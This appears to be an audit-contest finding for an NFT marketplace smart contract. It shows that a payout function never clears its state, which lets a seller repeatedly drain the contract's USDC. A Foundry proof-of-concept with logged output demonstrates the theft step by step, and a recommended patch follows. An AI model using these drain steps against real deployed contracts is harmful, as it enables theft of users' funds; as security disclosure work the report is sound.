Submission Details
Impact:
Likelihood:
collectUsdcFromSelling Never Clears State, Enabling Two Independent Paths to Drain All Protocol USDC
Author Revealed upon completion
Root + Impact
Description
NFTDealers.sol:171-183 and NFTDealers.sol:157-168
-
collectUsdcFromSellingreadslisting.priceandcollateralForMinting[listing.tokenId]to calculate and transfer the seller payout, but never zeroes either value and sets no "already collected" flag. The only guard isrequire(!listing.isActive)— set permanently bybuy()and never toggled back — so the function is callable unlimited times with identical payouts. -
cancelListingcorrectly zeroescollateralForMinting[listing.tokenId], but never zeroeslisting.price. After cancellation,isActiveisfalseandlisting.priceis still set, socollectUsdcFromSellingpasses its only guard and pays outlisting.price - feesto the seller despite no buyer ever having deposited those funds.
// @> NFTDealers.sol:171-183
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> listing.price never zeroed
// @> collateralForMinting[listing.tokenId] never zeroed
// @> no "collected" flag — function callable indefinitely
}
// @> NFTDealers.sol:157-168
function cancelListing(uint256 _listingId) external {
...
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
// @> listing.price never zeroed — collectUsdcFromSelling remains callable
emit NFT_Dealers_ListingCanceled(_listingId);
}
Risk
Likelihood:
-
A whitelisted seller completes a sale via
buy()and callscollectUsdcFromSellingmore than once — the function has no state change preventing repeat execution -
A whitelisted seller lists, cancels via
cancelListing, then callscollectUsdcFromSelling—isActiveisfalseandlisting.priceremains non-zero, so the guard passes with zero buyer participation
Impact:
-
The entire USDC balance held by the protocol is drainable — at max supply (1,000 NFTs × 20 USDC), a single attacker extracts up to 20,000 USDC at the cost of gas only
-
totalFeesCollectedis inflated on every repeat call, permanently brickingwithdrawFees()once the contract balance is exhausted
Proof of Concept
// SPDX-License-Identifier: UNLICENSED
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
/**
* @title PoC_H1_DrainPoC
* @notice Proof of Concept: H-1 — collectUsdcFromSelling missing state invalidation
*
* ROOT CAUSE (single, shared by both paths):
* collectUsdcFromSelling() transfers (listing.price - fees + collateralForMinting[tokenId])
* to the seller but NEVER zeroes listing.price, NEVER zeroes collateralForMinting[tokenId],
* and sets NO "already collected" flag.
* cancelListing() also fails to zero listing.price when it deactivates a listing.
*
* ┌─────────────────────────────────────────────────────────────────────────────┐
* │ PATH A — Post-Sale Drain │
* │ Trigger : buy() sets isActive=false → seller calls collectUsdcFromSelling │
* │ Per call : listing.price - fees + lockAmount (1,010 USDC at 1,000 listing) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* │ │
* │ PATH B — Post-Cancel Drain (NO BUYER REQUIRED) │
* │ Trigger : cancelListing() sets isActive=false, does NOT zero listing.price │
* │ Per call : listing.price - fees (990 USDC at 1,000 listing price) │
* │ Requires : enough USDC in contract from other minters (≥50 victims) │
* └─────────────────────────────────────────────────────────────────────────────┘
*
* MATH (both paths, 51 victims × 20 USDC lockAmount = 1,020 USDC pool):
*
* Path A: 51 victims + attacker minted → 52 × 20 = 1,040 USDC in contract
* buyer pays 1,000 USDC → 2,040 USDC in contract
* 1st collect (legitimate) → −1,010 USDC → 1,030 USDC remains
* 2nd collect (illegitimate ✗) → −1,010 USDC → 20 USDC remains ← STOLEN
* 3rd collect attempt → reverts (insufficient balance)
*
* Path B: 51 victims + attacker minted → 1,040 USDC in contract
* cancel returns lockAmount → −20 USDC → 1,020 USDC remains
* 1st collect after cancel (✗) → −990 USDC → 30 USDC remains ← STOLEN
* 2nd collect attempt → reverts (insufficient balance)
*
* NOTE ON LISTING KEY:
* list() stores at s_listings[_tokenId] but emits listingsCounter as listingId.
* All functions in this PoC use tokenId as the parameter (matching storage key)
* to isolate H-1 from the separate key-mismatch bug (H-3).
*/
contract PoC_H1_DrainPoC is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6; // 20 USDC
uint32 public constant LISTING_PRICE = 1000e6; // 1,000 USDC (fits uint32)
uint256 public constant NUM_VICTIMS = 51; // minimum for 1 illegitimate collect
// ─── fee at 1,000 USDC falls in LOW tier (1%) ────────────────────────────
uint256 public constant EXPECTED_FEES = (uint256(LISTING_PRICE) * 100) / 10_000; // 10 USDC
// ─────────────────────────────────────────────────────────────────────────
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
}
// ─────────────────────────────────────────────────────────────────────────
// HELPERS
// ─────────────────────────────────────────────────────────────────────────
/// @dev Mint an NFT as `user`. Returns the new tokenId.
function _mintAs(address user) internal returns (uint256 tokenId) {
vm.prank(owner);
nftDealers.whitelistWallet(user);
usdc.mint(user, LOCK_AMOUNT);
vm.startPrank(user);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
tokenId = nftDealers.totalMinted(); // tokenIdCounter after mint
}
/**
* @dev Create NUM_VICTIMS minters so the contract holds a large USDC pool
* that the attacker can drain. Victims only mint — they never list.
*/
function _fundContractWithVictims() internal {
for (uint256 i = 1; i <= NUM_VICTIMS; i++) {
address v = makeAddr(string.concat("victim", vm.toString(i)));
_mintAs(v);
}
assertEq(
usdc.balanceOf(address(nftDealers)),
NUM_VICTIMS * LOCK_AMOUNT,
"Setup: victim collateral pool incorrect"
);
}
// =========================================================================
// PATH A — Post-Sale Drain
// =========================================================================
/**
* @notice Attacker collects legitimate sale proceeds, then calls
* collectUsdcFromSelling() a SECOND time and receives an identical
* payout — stealing victim collateral with no additional cost.
*
* Expected (correct) behaviour : 2nd call reverts with "Already collected"
* Actual behaviour : 2nd call transfers 1,010 USDC to attacker
*/
function testPoC_H1_PathA_PostSaleDrain() public {
// ── 1. Seed contract with victim collateral ───────────────────────────
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
// contract holds: (NUM_VICTIMS + 1) × LOCK_AMOUNT
uint256 poolAfterMints = usdc.balanceOf(address(nftDealers));
assertEq(poolAfterMints, (NUM_VICTIMS + 1) * LOCK_AMOUNT);
console2.log("=== PATH A: POST-SALE DRAIN ===");
console2.log("[setup] Contract USDC after mints :", poolAfterMints / 1e6, "USDC");
// ── 2. Legitimate listing and buy ─────────────────────────────────────
// NOTE: using tokenId as the parameter key (matching storage layout)
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
uint256 poolAfterBuy = usdc.balanceOf(address(nftDealers));
console2.log("[1] Contract USDC after buy :", poolAfterBuy / 1e6, "USDC");
// = (52 × 20) + 1,000 = 2,040 USDC
// ── 3. First collect — LEGITIMATE ────────────────────────────────────
uint256 attackerBefore1 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
uint256 attackerAfter1 = usdc.balanceOf(attacker);
uint256 payout1 = attackerAfter1 - attackerBefore1;
console2.log("[2] 1st collect payout :", payout1 / 1e6, "USDC <-- legitimate");
console2.log(" Contract USDC after 1st :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
assertEq(
payout1,
uint256(LISTING_PRICE) - EXPECTED_FEES + LOCK_AMOUNT,
"1st collect: wrong payout"
);
// ── 4. Prove state was NOT cleared ────────────────────────────────────
(, uint32 priceStored,, uint256 storedTokenId,) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(storedTokenId);
console2.log("[3] listing.price in storage :", uint256(priceStored) / 1e6, "USDC <-- should be 0");
console2.log(" collateralForMinting stored :", collateralStored / 1e6, "USDC <-- should be 0");
assertEq(uint256(priceStored), uint256(LISTING_PRICE), "BUG: listing.price not cleared after collect");
assertEq(collateralStored, LOCK_AMOUNT, "BUG: collateralForMinting not cleared after collect");
// ── 5. Second collect — ILLEGITIMATE (no new buyer, same stale state) ─
uint256 attackerBefore2 = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId); // should revert — does NOT
uint256 attackerAfter2 = usdc.balanceOf(attacker);
uint256 payout2 = attackerAfter2 - attackerBefore2;
console2.log("[4] 2nd collect payout :", payout2 / 1e6, "USDC <-- STOLEN from victims");
console2.log(" Contract USDC remaining :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
// ── 6. Assertions ─────────────────────────────────────────────────────
assertEq(payout2, payout1,
"CRITICAL: 2nd collect returned identical payout -- victim funds stolen");
assertGt(attackerAfter2, uint256(LISTING_PRICE) + LOCK_AMOUNT,
"CRITICAL: attacker extracted more than their total legitimate entitlement");
// Total stolen = victim collateral used to fund illegitimate 2nd payout
uint256 victimLoss = payout2;
console2.log("[5] Total victim loss :", victimLoss / 1e6, "USDC");
console2.log(" Attacker net profit :",
(attackerAfter2 - 0) / 1e6, // attacker started with 0 USDC
"USDC (minted for free after lockAmount recovered in payout1)");
}
// =========================================================================
// PATH B — Post-Cancel Drain (no buyer required)
// =========================================================================
/**
* @notice Attacker mints, lists, then CANCELS — recovering their lockAmount.
* They then call collectUsdcFromSelling() on the cancelled listing.
* Because cancelListing() zeros collateralForMinting but NOT listing.price,
* the function pays out listing.price - fees from other users' collateral
* with ZERO buyer having ever paid into the contract.
*
* Expected (correct) behaviour : collectUsdcFromSelling on a cancelled listing reverts
* Actual behaviour : transfers 990 USDC stolen from victim pool
*/
function testPoC_H1_PathB_PostCancelDrain() public {
// ── 1. Seed contract with victim collateral ───────────────────────────
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 poolBeforeCancel = usdc.balanceOf(address(nftDealers));
console2.log("\n=== PATH B: POST-CANCEL DRAIN ===");
console2.log("[setup] Contract USDC (victim pool) :", poolBeforeCancel / 1e6, "USDC");
// ── 2. Attacker: mint → list → cancel ─────────────────────────────────
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId); // returns lockAmount, sets isActive=false
uint256 attackerAfterCancel = usdc.balanceOf(attacker);
uint256 poolAfterCancel = usdc.balanceOf(address(nftDealers));
console2.log("[1] Attacker USDC after cancel :", attackerAfterCancel / 1e6, "USDC (lockAmount recovered)");
console2.log(" Contract USDC after cancel :", poolAfterCancel / 1e6, "USDC (pure victim collateral)");
// ── 3. Verify the exact precondition the exploit requires ─────────────
(
address sellerStored,
uint32 priceStored,
,
uint256 tokenIdStored,
bool isActiveStored
) = nftDealers.s_listings(attackerTokenId);
uint256 collateralStored = nftDealers.collateralForMinting(tokenIdStored);
// These two are correct — cancel did its job
assertEq(sellerStored, attacker, "seller still recorded");
assertFalse(isActiveStored, "isActive correctly false after cancel");
assertEq(collateralStored, 0, "collateralForMinting correctly zeroed by cancel");
// This one is the bug — cancel forgot to zero listing.price
assertEq(uint256(priceStored), uint256(LISTING_PRICE),
"BUG: listing.price NOT zeroed by cancelListing()");
console2.log("[2] isActive after cancel : false (correct)");
console2.log(" collateralForMinting : 0 (correct)");
console2.log(" listing.price :",
uint256(priceStored) / 1e6, "USDC <-- BUG: should be 0");
// ── 4. Call collectUsdcFromSelling on the CANCELLED listing ───────────
// !isActive ✓ (passes — cancel set it false)
// onlySeller ✓ (passes — seller is still attacker)
// No buyer ever deposited listing.price — pool is pure victim collateral
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId); // must revert — does NOT
uint256 attackerAfterCollect = usdc.balanceOf(attacker);
uint256 poolAfterCollect = usdc.balanceOf(address(nftDealers));
uint256 stolen = attackerAfterCollect - attackerAfterCancel;
console2.log("[3] Attacker USDC after collect :", attackerAfterCollect / 1e6, "USDC");
console2.log(" Stolen from victim pool :", stolen / 1e6, "USDC");
console2.log(" Contract USDC remaining :", poolAfterCollect / 1e6, "USDC");
// ── 5. Assertions ─────────────────────────────────────────────────────
assertGt(stolen, 0,
"CRITICAL: collect after cancel transferred USDC to attacker");
assertEq(
stolen,
uint256(LISTING_PRICE) - EXPECTED_FEES,
"CRITICAL: stolen amount equals listing.price - fees, sourced entirely from victim pool"
);
// Attacker net: got lockAmount back from cancel AND 990 USDC from victim pool
assertGt(
attackerAfterCollect,
attackerAfterCancel,
"CRITICAL: net profit from victim pool despite no buyer"
);
console2.log("[4] Attacker net profit (on top of lockAmount recovery):",
stolen / 1e6, "USDC with zero buyer interaction");
}
// =========================================================================
// COMBINED: BOTH PATHS — SAME ROOT CAUSE, ONE FIX REQUIRED
// =========================================================================
/**
* @notice Demonstrates that both paths are independent expressions of the
* same root cause and that fixing only one leaves the other open.
*
* A single fix — zeroing listing.price (and collateralForMinting)
* inside collectUsdcFromSelling — closes BOTH paths simultaneously.
*
* Attack sequence:
* Phase 1 (Path B): drain victim pool via cancel path (no buyer)
* Phase 2 (Path A): sell legitimately, then drain remaining balance
*
* The attacker NEVER loses net capital: every lockAmount paid is recovered.
*/
function testPoC_H1_MaximumDrain_Combined() public {
_fundContractWithVictims();
uint256 attackerTokenId = _mintAs(attacker);
uint256 initialVictimPool = usdc.balanceOf(address(nftDealers));
console2.log("\n=== COMBINED DRAIN: PATH B -> PATH A ===");
console2.log("[0] Victim pool (incl. attacker mint):", initialVictimPool / 1e6, "USDC");
// ── PHASE 1: Path B (cancel → collect until pool < listing.price) ─────
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId); // lockAmount recovered
uint256 phase1Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE)) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase1Calls++;
}
console2.log("[1] Phase 1 (cancel path) drain calls:", phase1Calls);
console2.log(" Contract after Phase 1 :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Attacker after Phase 1 :", usdc.balanceOf(attacker) / 1e6, "USDC");
// ── PHASE 2: Path A (sell → collect until pool exhausted) ────────────
// Attacker still owns the NFT (cancel returned it), so re-list and sell
vm.prank(attacker);
nftDealers.list(attackerTokenId, LISTING_PRICE);
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(attackerTokenId);
vm.stopPrank();
// First collect is legitimate
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
// Continue draining
uint256 phase2Calls;
while (usdc.balanceOf(address(nftDealers)) >= uint256(LISTING_PRICE) + LOCK_AMOUNT) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
phase2Calls++;
}
console2.log("[2] Phase 2 (post-sale) drain calls :", phase2Calls);
console2.log(" Final contract balance :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Final attacker balance :", usdc.balanceOf(attacker) / 1e6, "USDC");
// ── Final assertion: attacker extracted more than victims ever deposited ─
assertGt(
usdc.balanceOf(attacker),
initialVictimPool - LOCK_AMOUNT, // attacker contributed one lockAmount
"CRITICAL: attacker drained more than all victim deposits combined"
);
}
}
POC RESULT
forge test --match-contract PoC_H1_DrainPoC -vv
[⠒] Compiling...
[⠒] Compiling 1 files with Solc 0.8.34
[⠢] Solc 0.8.34 finished in 375.01ms
Compiler run successful!
Ran 3 tests for test/PoC_H1_DrainPoC.t.sol:PoC_H1_DrainPoC
[PASS] testPoC_H1_MaximumDrain_Combined() (gas: 7013244)
Logs:
=== COMBINED DRAIN: PATH B -> PATH A ===
[0] Victim pool (incl. attacker mint): 1040 USDC
[1] Phase 1 (cancel path) drain calls: 1
Contract after Phase 1 : 30 USDC
Attacker after Phase 1 : 1010 USDC
[2] Phase 2 (post-sale) drain calls : 0
Final contract balance : 40 USDC
Final attacker balance : 2000 USDC
[PASS] testPoC_H1_PathA_PostSaleDrain() (gas: 6992664)
Logs:
=== PATH A: POST-SALE DRAIN ===
[setup] Contract USDC after mints : 1040 USDC
[1] Contract USDC after buy : 2040 USDC
[2] 1st collect payout : 1010 USDC <-- legitimate
Contract USDC after 1st : 1030 USDC
[3] listing.price in storage : 1000 USDC <-- should be 0
collateralForMinting stored : 20 USDC <-- should be 0
[4] 2nd collect payout : 1010 USDC <-- STOLEN from victims
Contract USDC remaining : 20 USDC
[5] Total victim loss : 1010 USDC
Attacker net profit : 2020 USDC (minted for free after lockAmount recovered in payout1)
[PASS] testPoC_H1_PathB_PostCancelDrain() (gas: 6907719)
Logs:
=== PATH B: POST-CANCEL DRAIN ===
[setup] Contract USDC (victim pool) : 1040 USDC
[1] Attacker USDC after cancel : 20 USDC (lockAmount recovered)
Contract USDC after cancel : 1020 USDC (pure victim collateral)
[2] isActive after cancel : false (correct)
collateralForMinting : 0 (correct)
listing.price : 1000 USDC <-- BUG: should be 0
[3] Attacker USDC after collect : 1010 USDC
Stolen from victim pool : 990 USDC
Contract USDC remaining : 30 USDC
[4] Attacker net profit (on top of lockAmount recovery): 990 USDC with zero buyer interaction
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 9.20ms (15.83ms CPU time)
Ran 1 test suite in 51.54ms (9.20ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
Recommended Mitigation
Zero all relevant state before transferring in collectUsdcFromSelling (Checks-Effects-Interactions pattern), and also zero listing.price in cancelListing to independently close Path B:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ s_listings[_listingId].price = 0;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees); // no-op self-transfer — remove
usdc.safeTransfer(msg.sender, amountToSeller);
}
Rewards breakdown
nSLOC
253This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.
Rewards Distribution
The contest is complete and the rewards are being distributed.